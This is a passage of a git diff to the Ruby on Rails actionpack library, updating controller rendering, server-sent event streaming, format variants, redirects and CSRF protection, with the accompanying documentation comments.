+ AbstractController::Rendering,
AbstractController::Translation,
AbstractController::AssetPaths,
@@ -208,6 +209,7 @@ module ActionController
HideActions,
UrlFor,
Redirecting,
+ ActionView::Layouts,
Rendering,
Renderers::All,
ConditionalGet,
@@ -248,10 +250,17 @@ module ActionController
end
# Define some internal variables that should not be propagated to the view.
- self.protected_instance_variables = [
+ PROTECTED_IVARS = AbstractController::Rendering::DEFAULT_PROTECTED_INSTANCE_VARIABLES + [
:@_status, :@_headers, :@_params, :@_env, :@_response, :@_request,
- :@_view_runtime, :@_stream, :@_url_options, :@_action_has_layout
- ]
+ :@_view_runtime, :@_stream, :@_url_options, :@_action_has_layout ]
+
+ def _protected_ivars # :nodoc:
+ PROTECTED_IVARS
+ end
+
+ def self.protected_instance_variables
+ PROTECTED_IVARS
+ end
ActiveSupport.run_load_hooks(:action_controller, self)
end
diff --git a/actionpack/lib/action_controller/caching.rb b/actionpack/lib/action_controller/caching.rb
index ea33d975ef..12d798d0c1 100644
--- a/actionpack/lib/action_controller/caching.rb
+++ b/actionpack/lib/action_controller/caching.rb
@@ -9,7 +9,7 @@ module ActionController
# You can read more about each approach by clicking the modules below.
#
# Note: To turn off all caching, set
- # config.action_controller.perform_caching = false.
+ # config.action_controller.perform_caching = false
#
# == \Caching stores
#
@@ -58,16 +58,6 @@ module ActionController
config_accessor :default_static_extension
self.default_static_extension ||= '.html'
- def self.page_cache_extension=(extension)
- ActiveSupport::Deprecation.deprecation_warning(:page_cache_extension, :default_static_extension)
- self.default_static_extension = extension
- end
-
- def self.page_cache_extension
- ActiveSupport::Deprecation.deprecation_warning(:page_cache_extension, :default_static_extension)
- default_static_extension
- end
-
config_accessor :perform_caching
self.perform_caching = true if perform_caching.nil?
diff --git a/actionpack/lib/action_controller/deprecated.rb b/actionpack/lib/action_controller/deprecated.rb
deleted file mode 100644
index 2405bebb97..0000000000
--- a/actionpack/lib/action_controller/deprecated.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-ActionController::AbstractRequest = ActionController::Request = ActionDispatch::Request
-ActionController::AbstractResponse = ActionController::Response = ActionDispatch::Response
-ActionController::Routing = ActionDispatch::Routing
-
-ActiveSupport::Deprecation.warn 'ActionController::AbstractRequest and ActionController::Request are deprecated and will be removed, use ActionDispatch::Request instead.'
-ActiveSupport::Deprecation.warn 'ActionController::AbstractResponse and ActionController::Response are deprecated and will be removed, use ActionDispatch::Response instead.'
-ActiveSupport::Deprecation.warn 'ActionController::Routing is deprecated and will be removed, use ActionDispatch::Routing instead.' \ No newline at end of file
diff --git a/actionpack/lib/action_controller/deprecated/integration_test.rb b/actionpack/lib/action_controller/deprecated/integration_test.rb
deleted file mode 100644
index 54eae48f47..0000000000
--- a/actionpack/lib/action_controller/deprecated/integration_test.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-ActionController::Integration = ActionDispatch::Integration
-ActionController::IntegrationTest = ActionDispatch::IntegrationTest
-
-ActiveSupport::Deprecation.warn 'ActionController::Integration is deprecated and will be removed, use ActionDispatch::Integration instead.'
-ActiveSupport::Deprecation.warn 'ActionController::IntegrationTest is deprecated and will be removed, use ActionDispatch::IntegrationTest instead.'
diff --git a/actionpack/lib/action_controller/log_subscriber.rb b/actionpack/lib/action_controller/log_subscriber.rb
index 9279d8bcea..b1acca2435 100644
--- a/actionpack/lib/action_controller/log_subscriber.rb
+++ b/actionpack/lib/action_controller/log_subscriber.rb
@@ -50,7 +50,16 @@ module ActionController
def unpermitted_parameters(event)
unpermitted_keys = event.payload[:keys]
- debug("Unpermitted parameters: #{unpermitted_keys.join(", ")}")
+ debug("Unpermitted parameter#{'s' if unpermitted_keys.size > 1}: #{unpermitted_keys.join(", ")}")
+ end
+
+ def deep_munge(event)
+ message = "Value for params[:#{event.payload[:keys].join('][:')}] was set "\
+ "to nil, because it was one of [], [null] or [null, null, ...]. "\
+ "Go to http://guides.rubyonrails.org/security.html#unsafe-query-generation "\
+ "for more information."\
+
+ debug(message)
end
%w(write_fragment read_fragment exist_fragment?
diff --git a/actionpack/lib/action_controller/metal.rb b/actionpack/lib/action_controller/metal.rb
index b84c9e78c3..0f4cc7a8f5 100644
--- a/actionpack/lib/action_controller/metal.rb
+++ b/actionpack/lib/action_controller/metal.rb
@@ -70,7 +70,8 @@ module ActionController
# can do the following:
#
# class HelloController < ActionController::Metal
- # include ActionController::Rendering
+ # include AbstractController::Rendering
+ # include ActionView::Layouts
# append_view_path "#{Rails.root}/app/views"
#
# def index
diff --git a/actionpack/lib/action_controller/metal/data_streaming.rb b/actionpack/lib/action_controller/metal/data_streaming.rb
index 75c4d3ef99..1abd8d3a33 100644
--- a/actionpack/lib/action_controller/metal/data_streaming.rb
+++ b/actionpack/lib/action_controller/metal/data_streaming.rb
@@ -96,7 +96,7 @@ module ActionController #:nodoc:
end
# Sends the given binary data to the browser. This method is similar to
- # <tt>render text: data</tt>, but also allows you to specify whether
+ # <tt>render plain: data</tt>, but also allows you to specify whether
# the browser should display the response as a file attachment (i.e. in a
# download dialog) or as inline data. You may also set the content type,
# the apparent file name, and other things.
diff --git a/actionpack/lib/action_controller/metal/flash.rb b/actionpack/lib/action_controller/metal/flash.rb
index b078beb675..65351284b9 100644
--- a/actionpack/lib/action_controller/metal/flash.rb
+++ b/actionpack/lib/action_controller/metal/flash.rb
@@ -11,6 +11,23 @@ module ActionController #:nodoc:
end
module ClassMethods
+ # Creates new flash types. You can pass as many types as you want to create
+ # flash types other than the default <tt>alert</tt> and <tt>notice</tt> in
+ # your controllers and views. For instance:
+ #
+ # # in application_controller.rb
+ # class ApplicationController < ActionController::Base
+ # add_flash_types :warning
+ # end
+ #
+ # # in your controller
+ # redirect_to user_path(@user), warning: "Incomplete profile"
+ #
+ # # in your view
+ # <%= warning %>
+ #
+ # This method will automatically define a new method for each of the given
+ # names, and it will be available in your views.
def add_flash_types(*types)
types.each do |type|
next if _flash_types.include?(type)
@@ -20,7 +37,7 @@ module ActionController #:nodoc:
end
helper_method type
- _flash_types << type
+ self._flash_types += [type]
end
end
end
diff --git a/actionpack/lib/action_controller/metal/force_ssl.rb b/actionpack/lib/action_controller/metal/force_ssl.rb
index b8afce42c9..a2cb6d1e66 100644
--- a/actionpack/lib/action_controller/metal/force_ssl.rb
+++ b/actionpack/lib/action_controller/metal/force_ssl.rb
@@ -48,7 +48,7 @@ module ActionController
# You can pass any of the following options to affect the redirect status and response
# * <tt>status</tt> - Redirect with a custom status (default is 301 Moved Permanently)
# * <tt>flash</tt> - Set a flash message when redirecting
- # * <tt>alert</tt> - Set a alert message when redirecting
+ # * <tt>alert</tt> - Set an alert message when redirecting
# * <tt>notice</tt> - Set a notice message when redirecting
#
# ==== Action Options
diff --git a/actionpack/lib/action_controller/metal/head.rb b/actionpack/lib/action_controller/metal/head.rb
index 8237db15ca..43407f5b78 100644
--- a/actionpack/lib/action_controller/metal/head.rb
+++ b/actionpack/lib/action_controller/metal/head.rb
@@ -1,8 +1,6 @@
module ActionController
module Head
- extend ActiveSupport::Concern
-
- # Return a response that has no content (merely headers). The options
+ # Returns a response that has no content (merely headers). The options
# argument is interpreted to be a hash of header names and values.
# This allows you to easily return a response that consists only of
# significant headers:
diff --git a/actionpack/lib/action_controller/metal/helpers.rb b/actionpack/lib/action_controller/metal/helpers.rb
index 243fd40a7e..a9c3e438fb 100644
--- a/actionpack/lib/action_controller/metal/helpers.rb
+++ b/actionpack/lib/action_controller/metal/helpers.rb
@@ -5,7 +5,7 @@ module ActionController
#
# In addition to using the standard template helpers provided, creating custom helpers to
# extract complicated logic or reusable functionality is strongly encouraged. By default, each controller
- # will include all helpers.
+ # will include all helpers. These helpers are only accessible on the controller through <tt>.helpers</tt>
#
# In previous versions of \Rails the controller will include a helper whose
# name matches that of the controller, e.g., <tt>MyController</tt> will automatically
@@ -73,7 +73,11 @@ module ActionController
# Provides a proxy to access helpers methods from outside the view.
def helpers
- @helper_proxy ||= ActionView::Base.new.extend(_helpers)
+ @helper_proxy ||= begin
+ proxy = ActionView::Base.new
+ proxy.config = config.inheritable_copy
+ proxy.extend(_helpers)
+ end
end
# Overwrite modules_for_helpers to accept :all as argument, which loads
diff --git a/actionpack/lib/action_controller/metal/http_authentication.rb b/actionpack/lib/action_controller/metal/http_authentication.rb
index 158d552ec7..2eb7853aa6 100644
--- a/actionpack/lib/action_controller/metal/http_authentication.rb
+++ b/actionpack/lib/action_controller/metal/http_authentication.rb
@@ -11,11 +11,11 @@ module ActionController
# http_basic_authenticate_with name: "dhh", password: "secret", except: :index
#
# def index
- # render text: "Everyone can see me!"
+ # render plain: "Everyone can see me!"
# end
#
# def edit
- # render text: "I'm only accessible if you know the password"
+ # render plain: "I'm only accessible if you know the password"
# end
# end
#
@@ -96,7 +96,7 @@ module ActionController
end
def user_name_and_password(request)
- decode_credentials(request).split(/:/, 2)
+ decode_credentials(request).split(':', 2)
end
def decode_credentials(request)
@@ -127,11 +127,11 @@ module ActionController
# before_action :authenticate, except: [:index]
#
# def index
- # render text: "Everyone can see me!"
+ # render plain: "Everyone can see me!"
# end
#
# def edit
- # render text: "I'm only accessible if you know the password"
+ # render plain: "I'm only accessible if you know the password"
# end
#
# private
@@ -321,11 +321,11 @@ module ActionController
# before_action :authenticate, except: [ :index ]
#
# def index
- # render text: "Everyone can see me!"
+ # render plain: "Everyone can see me!"
# end
#
# def edit
- # render text: "I'm only accessible if you know the password"
+ # render plain: "I'm only accessible if you know the password"
# end
#
# private
diff --git a/actionpack/lib/action_controller/metal/instrumentation.rb b/actionpack/lib/action_controller/metal/instrumentation.rb
index d3aa8f90c5..b0e164bc57 100644
--- a/actionpack/lib/action_controller/metal/instrumentation.rb
+++ b/actionpack/lib/action_controller/metal/instrumentation.rb
@@ -67,7 +67,7 @@ module ActionController
private
- # A hook invoked everytime a before callback is halted.
+ # A hook invoked every time a before callback is halted.
def halted_callback_hook(filter)
ActiveSupport::Notifications.instrument("halted_callback.action_controller", :filter => filter)
end
diff --git a/actionpack/lib/action_controller/metal/live.rb b/actionpack/lib/action_controller/metal/live.rb
index 8092fd639f..acf40b2e16 100644
--- a/actionpack/lib/action_controller/metal/live.rb
+++ b/actionpack/lib/action_controller/metal/live.rb
@@ -1,5 +1,6 @@
require 'action_dispatch/http/response'
require 'delegate'
+require 'active_support/json'
module ActionController
# Mix this module in to your controller, and all actions in that controller
@@ -32,9 +33,85 @@ module ActionController
# the main thread. Make sure your actions are thread safe, and this shouldn't
# be a problem (don't share state across threads, etc).
module Live
+ # This class provides the ability to write an SSE (Server Sent Event)
+ # to an IO stream. The class is initialized with a stream and can be used
+ # to either write a JSON string or an object which can be converted to JSON.
+ #
+ # Writing an object will convert it into standard SSE format with whatever
+ # options you have configured. You may choose to set the following options:
+ #
+ # 1) Event. If specified, an event with this name will be dispatched on
+ # the browser.
+ # 2) Retry. The reconnection time in milliseconds used when attempting
+ # to send the event.
+ # 3) Id. If the connection dies while sending an SSE to the browser, then
+ # the server will receive a +Last-Event-ID+ header with value equal to +id+.
+ #
+ # After setting an option in the constructor of the SSE object, all future
+ # SSEs sent across the stream will use those options unless overridden.
+ #
+ # Example Usage:
+ #
+ # class MyController < ActionController::Base
+ # include ActionController::Live
+ #
+ # def index
+ # response.headers['Content-Type'] = 'text/event-stream'
+ # sse = SSE.new(response.stream, retry: 300, event: "event-name")
+ # sse.write({ name: 'John'})
+ # sse.write({ name: 'John'}, id: 10)
+ # sse.write({ name: 'John'}, id: 10, event: "other-event")
+ # sse.write({ name: 'John'}, id: 10, event: "other-event", retry: 500)
+ # ensure
+ # sse.close
+ # end
+ # end
+ #
+ # Note: SSEs are not currently supported by IE. However, they are supported
+ # by Chrome, Firefox, Opera, and Safari.
+ class SSE
+
+ WHITELISTED_OPTIONS = %w( retry event id )
+
+ def initialize(stream, options = {})
+ @stream = stream
+ @options = options
+ end
+
+ def close
+ @stream.close
+ end
+
+ def write(object, options = {})
+ case object
+ when String
+ perform_write(object, options)
+ else
+ perform_write(ActiveSupport::JSON.encode(object), options)
+ end
+ end
+
+ private
+
+ def perform_write(json, options)
+ current_options = @options.merge(options).stringify_keys
+
+ WHITELISTED_OPTIONS.each do |option_name|
+ if (option_value = current_options[option_name])
+ @stream.write "#{option_name}: #{option_value}\n"
+ end
+ end
+
+ @stream.write "data: #{json}\n\n"
+ end
+ end
+
class Buffer < ActionDispatch::Response::Buffer #:nodoc:
+ include MonitorMixin
+
def initialize(response)
- @error_callback = nil
+ @error_callback = lambda { true }
+ @cv = new_cond
super(response, SizedQueue.new(10))
end
@@ -48,14 +125,25 @@ module ActionController
end
def each
+ @response.sending!
while str = @buf.pop
yield str
end
+ @response.sent!
end
def close
- super
- @buf.push nil
+ synchronize do
+ super
+ @buf.push nil
+ @cv.broadcast
+ end
+ end
+
+ def await_close
+ synchronize do
+ @cv.wait_until { @closed }
+ end
end
def on_error(&block)
@@ -91,12 +179,20 @@ module ActionController
end
end
- def commit!
- headers.freeze
+ private
+
+ def before_committed
super
+ jar = request.cookie_jar
+ # The response can be committed multiple times
+ jar.write self unless committed?
end
- private
+ def before_sending
+ super
+ request.cookie_jar.commit!
+ headers.freeze
+ end
def build_buffer(response, body)
buf = Live::Buffer.new response
@@ -117,6 +213,7 @@ module ActionController
t1 = Thread.current
locals = t1.keys.map { |key| [key, t1[key]] }
+ error = nil
# This processes the action in a child thread. It lets us return the
# response code and headers back up the rack stack, and still process
# the body in parallel with sending data to the client
@@ -131,14 +228,18 @@ module ActionController
begin
super(name)
rescue => e
- begin
- @_response.stream.write(ActionView::Base.streaming_completion_on_exception) if request.format == :html
- @_response.stream.call_on_error
- rescue => exception
- log_error(exception)
- ensure
- log_error(e)
- @_response.stream.close
+ if @_response.committed?
+ begin
+ @_response.stream.write(ActionView::Base.streaming_completion_on_exception) if request.format == :html
+ @_response.stream.call_on_error
+ rescue => exception
+ log_error(exception)
+ ensure
+ log_error(e)
+ @_response.stream.close
+ end
+ else
+ error = e
end
ensure
@_response.commit!
@@ -146,6 +247,7 @@ module ActionController
}
@_response.await_commit
+ raise error if error
end
def log_error(exception)
@@ -160,7 +262,7 @@ module ActionController
def response_body=(body)
super
- response.stream.close if response
+ response.close if response
end
def set_response!(request)
diff --git a/actionpack/lib/action_controller/metal/mime_responds.rb b/actionpack/lib/action_controller/metal/mime_responds.rb
index 834d44f045..1974bbf529 100644
--- a/actionpack/lib/action_controller/metal/mime_responds.rb
+++ b/actionpack/lib/action_controller/metal/mime_responds.rb
@@ -181,6 +181,73 @@ module ActionController #:nodoc:
# end
# end
#
+ # Formats can have different variants.
+ #
+ # The request variant is a specialization of the request format, like <tt>:tablet</tt>,
+ # <tt>:phone</tt>, or <tt>:desktop</tt>.
+ #
+ # We often want to render different html/json/xml templates for phones,
+ # tablets, and desktop browsers. Variants make it easy.
+ #
+ # You can set the variant in a +before_action+:
+ #
+ # request.variant = :tablet if request.user_agent =~ /iPad/
+ #
+ # Respond to variants in the action just like you respond to formats:
+ #
+ # respond_to do |format|
+ # format.html do |variant|
+ # variant.tablet # renders app/views/projects/show.html+tablet.erb
+ # variant.phone { extra_setup; render ... }
+ # variant.none { special_setup } # executed only if there is no variant set
+ # end
+ # end
+ #
+ # Provide separate templates for each format and variant:
+ #
+ # app/views/projects/show.html.erb
+ # app/views/projects/show.html+tablet.erb
+ # app/views/projects/show.html+phone.erb
+ #
+ # When you're not sharing any code within the format, you can simplify defining variants
+ # using the inline syntax:
+ #
+ # respond_to do |format|
+ # format.js { render "trash" }
+ # format.html.phone { redirect_to progress_path }
+ # format.html.none { render "trash" }
+ # end
+ #
+ # Variants also support common `any`/`all` block that formats have.
+ #
+ # It works for both inline:
+ #
+ # respond_to do |format|
+ # format.html.any { render text: "any" }
+ # format.html.phone { render text: "phone" }
+ # end
+ #
+ # and block syntax:
+ #
+ # respond_to do |format|
+ # format.html do |variant|
+ # variant.any(:tablet, :phablet){ render text: "any" }
+ # variant.phone { render text: "phone" }
+ # end
+ # end
+ #
+ # You can also set an array of variants:
+ #
+ # request.variant = [:tablet, :phone]
+ #
+ # which will work similarly to formats and MIME types negotiation. If there will be no
+ # :tablet variant declared, :phone variant will be picked:
+ #
+ # respond_to do |format|
+ # format.html.none
+ # format.html.phone # this gets rendered
+ # end
+ #
# Be sure to check the documentation of +respond_with+ and
# <tt>ActionController::MimeResponds.respond_to</tt> for more examples.
def respond_to(*mimes, &block)
@@ -260,7 +327,7 @@ module ActionController #:nodoc:
# * for other requests - i.e. data formats such as xml, json, csv etc, if
# the resource passed to +respond_with+ responds to <code>to_<format></code>,
# the method attempts to render the resource in the requested format
- # directly, e.g. for an xml request, the response is equivalent to calling
+ # directly, e.g. for an xml request, the response is equivalent to calling
# <code>render xml: resource</code>.
#
# === Nested resources
@@ -321,11 +388,14 @@ module ActionController #:nodoc:
# 2. <tt>:action</tt> - overwrites the default render action used after an
# unsuccessful html +post+ request.
def respond_with(*resources, &block)
- raise "In order to use respond_with, first you need to declare the formats your " \
- "controller responds to in the class level" if self.class.mimes_for_respond_to.empty?
+ if self.class.mimes_for_respond_to.empty?
+ raise "In order to use respond_with, first you need to declare the " \
+ "formats your controller responds to in the class level."
+ end
if collector = retrieve_collector_from_mimes(&block)
options = resources.size == 1 ? {} : resources.extract_options!
+ options = options.clone
options[:default_response] = collector.response
(options.delete(:responder) || self.class.responder).call(self, resources, options)
end
@@ -359,14 +429,12 @@ module ActionController #:nodoc:
# is available.
def retrieve_collector_from_mimes(mimes=nil, &block) #:nodoc:
mimes ||= collect_mimes_from_class_level
- collector = Collector.new(mimes)
+ collector = Collector.new(mimes, request.variant)
block.call(collector) if block_given?
format = collector.negotiate_format(request)
if format
- self.content_type ||= format.to_s
- lookup_context.formats = [format.to_sym]
- lookup_context.rendered_format = lookup_context.formats.first
+ _process_format(format)
collector
else
raise ActionController::UnknownFormat
@@ -397,11 +465,13 @@ module ActionController #:nodoc:
# request, with this response then being accessible by calling #response.
class Collector
include AbstractController::Collector
- attr_accessor :order, :format
+ attr_accessor :format
- def initialize(mimes)
- @order, @responses = [], {}
- mimes.each { |mime| send(mime) }
+ def initialize(mimes, variant = nil)
+ @responses = {}
+ @variant = variant
+
+ mimes.each { |mime| @responses["Mime::#{mime.upcase}".constantize] = nil }
end
def any(*args, &block)
@@ -415,16 +485,62 @@ module ActionController #:nodoc:
def custom(mime_type, &block)
mime_type = Mime::Type.lookup(mime_type.to_s) unless mime_type.is_a?(Mime::Type)
- @order << mime_type
- @responses[mime_type] ||= block
+ @responses[mime_type] ||= if block_given?
+ block
+ else
+ VariantCollector.new(@variant)
+ end
end
def response
- @responses.fetch(format, @responses[Mime::ALL])
+ response = @responses.fetch(format, @responses[Mime::ALL])
+ if response.is_a?(VariantCollector) # `format.html.phone` - variant inline syntax
+ response.variant
+ elsif response.nil? || response.arity == 0 # `format.html` - just a format, call its block
+ response
+ else # `format.html{ |variant| variant.phone }` - variant block syntax
+ variant_collector = VariantCollector.new(@variant)
+ response.call(variant_collector) # call format block with variants collector
+ variant_collector.variant
+ end
end
def negotiate_format(request)
- @format = request.negotiate_mime(order)
+ @format = request.negotiate_mime(@responses.keys)
+ end
+
+ class VariantCollector #:nodoc:
+ def initialize(variant = nil)
+ @variant = variant
+ @variants = {}
+ end
+
+ def any(*args, &block)
+ if block_given?
+ if args.any? && args.none?{ |a| a == @variant }
+ args.each{ |v| @variants[v] = block }
+ else
+ @variants[:any] = block
+ end
+ end
+ end
+ alias :all :any
+
+ def method_missing(name, *args, &block)
+ @variants[name] = block if block_given?
+ end
+
+ def variant
+ if @variant.nil?
+ @variants[:none] || @variants[:any]
+ elsif (@variants.keys & @variant).any?
+ @variant.each do |v|
+ return @variants[v] if @variants.key?(v)
+ end
+ else
+ @variants[:any]
+ end
+ end
end
end
end
diff --git a/actionpack/lib/action_controller/metal/params_wrapper.rb b/actionpack/lib/action_controller/metal/params_wrapper.rb
index c9f1d8dcb4..2ca8955741 100644
--- a/actionpack/lib/action_controller/metal/params_wrapper.rb
+++ b/actionpack/lib/action_controller/metal/params_wrapper.rb
@@ -231,7 +231,12 @@ module ActionController
# by the metal call stack.
def process_action(*args)
if _wrapper_enabled?
- wrapped_hash = _wrap_parameters request.request_parameters
+ if request.parameters[_wrapper_key].present?
+ wrapped_hash = _extract_parameters(request.parameters)
+ else
+ wrapped_hash = _wrap_parameters request.request_parameters
+ end
+
wrapped_keys = request.request_parameters.keys
wrapped_filtered_hash = _wrap_parameters request.filtered_parameters.slice(*wrapped_keys)
@@ -259,14 +264,16 @@ module ActionController
# Returns the list of parameters which will be selected for wrapped.
def _wrap_parameters(parameters)
- value = if include_only = _wrapper_options.include
+ { _wrapper_key => _extract_parameters(parameters) }
+ end
+
+ def _extract_parameters(parameters)
+ if include_only = _wrapper_options.include
parameters.slice(*include_only)
else
exclude = _wrapper_options.exclude || []
parameters.except(*(exclude + EXCLUDE_PARAMETERS))
end
-
- { _wrapper_key => value }
end
# Checks if we should perform parameters wrapping.
diff --git a/actionpack/lib/action_controller/metal/redirecting.rb b/actionpack/lib/action_controller/metal/redirecting.rb
index e9031f3fac..2812038938 100644
--- a/actionpack/lib/action_controller/metal/redirecting.rb
+++ b/actionpack/lib/action_controller/metal/redirecting.rb
@@ -58,7 +58,7 @@ module ActionController
# redirect_to post_url(@post), alert: "Watch it, mister!"
# redirect_to post_url(@post), status: :found, notice: "Pay attention to the road"
# redirect_to post_url(@post), status: 301, flash: { updated_post_id: @post.id }
- # redirect_to { action: 'atom' }, alert: "Something serious happened"
+ # redirect_to({ action: 'atom' }, alert: "Something serious happened")
#
# When using <tt>redirect_to :back</tt>, if there is no referrer, ActionController::RedirectBackError will be raised. You may specify some fallback
# behavior for this case by rescuing ActionController::RedirectBackError.
@@ -71,6 +71,26 @@ module ActionController
self.response_body = "<html><body>You are being <a href=\"#{ERB::Util.h(location)}\">redirected</a>.</body></html>"
end
+ def _compute_redirect_to_location(options) #:nodoc:
+ case options
+ # The scheme name consist of a letter followed by any combination of
+ # letters, digits, and the plus ("+"), period ("."), or hyphen ("-")
+ # characters; and is terminated by a colon (":").
+ # See http://tools.ietf.org/html/rfc3986#section-3.1
+ # The protocol relative scheme starts with a double slash "//".
+ when /\A([a-z][a-z\d\-+\.]*:|\/\/).*/i
+ options
+ when String
+ request.protocol + request.host_with_port + options
+ when :back
+ request.headers["Referer"] or raise RedirectBackError
+ when Proc
+ _compute_redirect_to_location options.call
+ else
+ url_for(options)
+ end.delete("\0\r\n")
+ end
+
private
def _extract_redirect_to_status(options, response_status)
if options.is_a?(Hash) && options.key?(:status)
@@ -81,24 +101,5 @@ module ActionController
302
end
end
-
- def _compute_redirect_to_location(options)
- case options
- # The scheme name consist of a letter followed by any combination of
- # letters, digits, and the plus ("+"), period ("."), or hyphen ("-")
- # characters; and is terminated by a colon (":").
- # The protocol relative scheme starts with a double slash "//"
- when %r{\A(\w[\w+.-]*:|//).*}
- options
- when String
- request.protocol + request.host_with_port + options
- when :back
- request.headers["Referer"] or raise RedirectBackError
- when Proc
- _compute_redirect_to_location options.call
- else
- url_for(options)
- end.delete("\0\r\n")
- end
end
end
diff --git a/actionpack/lib/action_controller/metal/renderers.rb b/actionpack/lib/action_controller/metal/renderers.rb
index 5272dc6cdb..0443b73953 100644
--- a/actionpack/lib/action_controller/metal/renderers.rb
+++ b/actionpack/lib/action_controller/metal/renderers.rb
@@ -6,6 +6,12 @@ module ActionController
Renderers.add(key, &block)
end
+ class MissingRenderer < LoadError
+ def initialize(format)
+ super "No renderer defined for format: #{format}"
+ end
+ end
+
module Renderers
extend ActiveSupport::Concern
@@ -36,8 +42,8 @@ module ActionController
nil
end
- # Hash of available renderers, mapping a renderer name to its proc.
- # Default keys are :json, :js, :xml.
+ # A Set containing renderer names that correspond to available renderer procs.
+ # Default values are <tt>:json</tt>, <tt>:js</tt>, <tt>:xml</tt>.
RENDERERS = Set.new
# Adds a new renderer to call within controller actions.
diff --git a/actionpack/lib/action_controller/metal/rendering.rb b/actionpack/lib/action_controller/metal/rendering.rb
index bea6b88f91..93e7d6954c 100644
--- a/actionpack/lib/action_controller/metal/rendering.rb
+++ b/actionpack/lib/action_controller/metal/rendering.rb
@@ -2,7 +2,7 @@ module ActionController
module Rendering
extend ActiveSupport::Concern
- include AbstractController::Rendering
+ RENDER_FORMATS_IN_PRIORITY = [:body, :text, :plain, :html]
# Before processing, set the request formats in current controller formats.
def process_action(*) #:nodoc:
@@ -12,29 +12,46 @@ module ActionController
# Check for double render errors and set the content_type after rendering.
def render(*args) #:nodoc:
- raise ::AbstractController::DoubleRenderError if response_body
+ raise ::AbstractController::DoubleRenderError if self.response_body
super
- self.content_type ||= Mime[lookup_context.rendered_format].to_s
- response_body
end
# Overwrite render_to_string because body can now be set to a rack body.
def render_to_string(*)
- if self.response_body = super
+ result = super
+ if result.respond_to?(:each)
string = ""
- response_body.each { |r| string << r }
+ result.each { |r| string << r }
string
+ else
+ result
end
- ensure
- self.response_body = nil
end
- def render_to_body(*)
- super || " "
+ def render_to_body(options = {})
+ super || _render_in_priorities(options) || ' '
end
private
+ def _render_in_priorities(options)
+ RENDER_FORMATS_IN_PRIORITY.each do |format|
+ return options[format] if options.key?(format)
+ end
+
+ nil
+ end
+
+ def _process_format(format, options = {})
+ super
+
+ if options[:plain]
+ self.content_type = Mime::TEXT
+ else
+ self.content_type ||= format.to_s
+ end
+ end
+
# Normalize arguments by catching blocks and setting them on :update.
def _normalize_args(action=nil, options={}, &blk) #:nodoc:
options = super
@@ -44,12 +61,14 @@ module ActionController
# Normalize both text and status options.
def _normalize_options(options) #:nodoc:
- if options.key?(:text) && options[:text].respond_to?(:to_text)
- options[:text] = options[:text].to_text
+ _normalize_text(options)
+
+ if options[:html]
+ options[:html] = ERB::Util.html_escape(options[:html])
end
- if options.delete(:nothing) || (options.key?(:text) && options[:text].nil?)
- options[:text] = " "
+ if options.delete(:nothing) || _any_render_format_is_nil?(options)
+ options[:body] = " "
end
if options[:status]
@@ -59,6 +78,18 @@ module ActionController
super
end
+ def _normalize_text(options)
+ RENDER_FORMATS_IN_PRIORITY.each do |format|
+ if options.key?(format) && options[format].respond_to?(:to_text)
+ options[format] = options[format].to_text
+ end
+ end
+ end
+
+ def _any_render_format_is_nil?(options)
+ RENDER_FORMATS_IN_PRIORITY.any? { |format| options.key?(format) && options[format].nil? }
+ end
+
# Process controller specific options, as status, content-type and location.
def _process_options(options) #:nodoc:
status, content_type, location = options.values_at(:status, :content_type, :location)
diff --git a/actionpack/lib/action_controller/metal/request_forgery_protection.rb b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
index 573c739da4..e3b1f5ae7c 100644
--- a/actionpack/lib/action_controller/metal/request_forgery_protection.rb
+++ b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
@@ -5,14 +5,24 @@ module ActionController #:nodoc:
class InvalidAuthenticityToken < ActionControllerError #:nodoc:
end
+ class InvalidCrossOriginRequest < ActionControllerError #:nodoc:
+ end
+
# Controller actions are protected from Cross-Site Request Forgery (CSRF) attacks
# by including a token in the rendered html for your application. This token is
# stored as a random string in the session, to which an attacker does not have
# access. When a request reaches your application, \Rails verifies the received
# token with the token in the session. Only HTML and JavaScript requests are checked,
# so this will not protect your XML API (presumably you'll have a different
- # authentication scheme there anyway). Also, GET requests are not protected as these
- # should be idempotent.
+ # authentication scheme there anyway).
+ #
+ # GET requests are not protected since they don't have side effects like writing
+ # to the database and don't leak sensitive information. JavaScript requests are
+ # an exception: a third-party site can use a <script> tag to reference a JavaScript
+ # URL on your site. When your JavaScript response loads on their site, it executes.
+ # With carefully crafted JavaScript on their end, sensitive data in your JavaScript
+ # response may be extracted. To prevent this, only XmlHttpRequest (known as XHR or
+ # Ajax) requests are allowed to make GET requests for JavaScript responses.
#
# It's important to remember that XML or JSON requests are also affected and if
# you're building an API you'll need something like:
@@ -58,6 +68,10 @@ module ActionController #:nodoc:
config_accessor :allow_forgery_protection
self.allow_forgery_protection = true if allow_forgery_protection.nil?
+ # Controls whether a CSRF failure logs a warning. On by default.
+ config_accessor :log_warning_on_csrf_failure
+ self.log_warning_on_csrf_failure = true
+
helper_method :form_authenticity_token
helper_method :protect_against_forgery?
end
@@ -65,17 +79,16 @@ module ActionController #:nodoc:
module ClassMethods
# Turn on request forgery protection. Bear in mind that only non-GET, HTML/JavaScript requests are checked.
#
+ # class ApplicationController < ActionController::Base
+ # protect_from_forgery
+ # end
+ #
# class FooController < ApplicationController
# protect_from_forgery except: :index
#
- # You can disable csrf protection on controller-by-controller basis:
- #
+ # You can disable CSRF protection on controller by skipping the verification before_action:
# skip_before_action :verify_authenticity_token
#
- # It can also be disabled for specific controller actions:
- #
- # skip_before_action :verify_authenticity_token, except: [:create]
- #
# Valid Options:
#
# * <tt>:only/:except</tt> - Passed to the <tt>before_action</tt> call. Set which actions are verified.
@@ -89,6 +102,7 @@ module ActionController #:nodoc:
self.forgery_protection_strategy = protection_method_class(options[:with] || :null_session)
self.request_forgery_protection_token ||= :authenticity_token
prepend_before_action :verify_authenticity_token, options
+ append_after_action :verify_same_origin_request
end
private
@@ -124,6 +138,9 @@ module ActionController #:nodoc:
@loaded = true
end
+ # no-op
+ def destroy; end
+
def exists?
true
end
@@ -166,18 +183,63 @@ module ActionController #:nodoc:
end
protected
+ # The actual before_action that is used to verify the CSRF token.
+ # Don't override this directly. Provide your own forgery protection
+ # strategy instead. If you override, you'll disable same-origin
+ # `<script>` verification.
+ #
+ # Lean on the protect_from_forgery declaration to mark which actions are
+ # due for same-origin request verification. If protect_from_forgery is
+ # enabled on an action, this before_action flags its after_action to
+ # verify that JavaScript responses are for XHR requests, ensuring they
+ # follow the browser's same-origin policy.
+ def verify_authenticity_token
+ mark_for_same_origin_verification!
+
